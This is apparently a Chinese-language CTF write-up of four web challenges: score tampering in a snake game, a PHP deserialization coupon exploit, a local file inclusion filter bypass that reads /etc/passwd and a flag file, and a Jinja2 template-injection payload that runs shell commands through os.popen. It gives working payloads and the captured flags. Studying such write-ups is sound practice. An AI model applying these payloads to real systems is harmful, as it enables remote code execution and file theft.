简单的题简单的一批,难的题又抽象完了,还有虽然一个附件可解但是必须多拿几个附件总结规律才会解的题

WEB-Snake_Game

  1. 打开靶机,看到贪吃蛇游戏,需300分获flag,初始分数0

  2. F12查看源码,checkWin(score)直接将客户端分数POST到index.php,服务端无任何校验

  3. 直接curl -X POST http://120.27.146.76:22226/index.php -d “score=300”
    或者在burpsuite抓包校验分数的包改成300分

  4. 服务端返回flag{9afd633154414519bd1569bfba021c7a}

WEB-PHP_payment

  1. 打开靶机,商城flag商品售价99999金币,初始余额仅20

  2. 审计附件源码:apply_coupon.php将Base64解码后直接unserialize(),无签名验证

  3. models.php中PromoManager.__destruct()将promo_credit加到session余额

  4. 构造payload: O:12:”PromoManager”:2:{s:12:”promo_credit”;i:99999;s:10:”promo_code”;s:4:”test”;}

  5. Base64编码后POST到/api/apply_coupon.php,余额变为99999+20

  6. 购买flag商品,虽然显示网络错误但是在返回包中发现flag{bef761af00a931b3acd2966011351248}

WEB-Enterprise_OA

  1. 打开靶机,页面通过?module=参数加载PHP模块,传入不含.php后缀的值触发Warning,泄露路径/var/www/html/index.php:30,确认include()直接包含用户输入

  2. 尝试../etc/passwd被过滤,测试多种绕过后发现str_replace(“../“,””,input)仅替换一次,非递归

  3. 利用….//绕过:输入….//….//….//….//etc/passwd,过滤后变为../../../../etc/passwd,成功读取

  4. 同样方式读取/flag.txt:?module=….//….//….//….//flag.txt,获取flag{ef1c939ee2b22402dc2e5f425094d2a4}

WEB-TaxSystem_SSTI

  1. 审计源码SRC.zip,发现/preview/<id>路由使用render_template_string()渲染用户输入,但黑名单只检查custom_footer字段,year/income/deductions无过滤

  1. 登录admin:123456,通过/api/import将profile的state改为AUDIT_PENDING,year字段注入SSTI payload

  2. Payload:

    1
    {{config.__class__.__init__.__globals__["os"].popen('python3 -c "import sqlite3;print(sqlite3.connect(\'/var/lib/sqlite/tax.db\').execute(\'select flag from config_flags limit 1\').fetchone()[0])"').read()}}
  3. 访问/preview/1触发render_template_string()执行Jinja2代码,flag输出在Tax Year字段。
    获得flag:flag{a254d76b46619625320bd29d4a52e79f}

这个题也抽象完了,因为是公共靶机所以能直接看到别人打的payload

web题出的都蛮简单的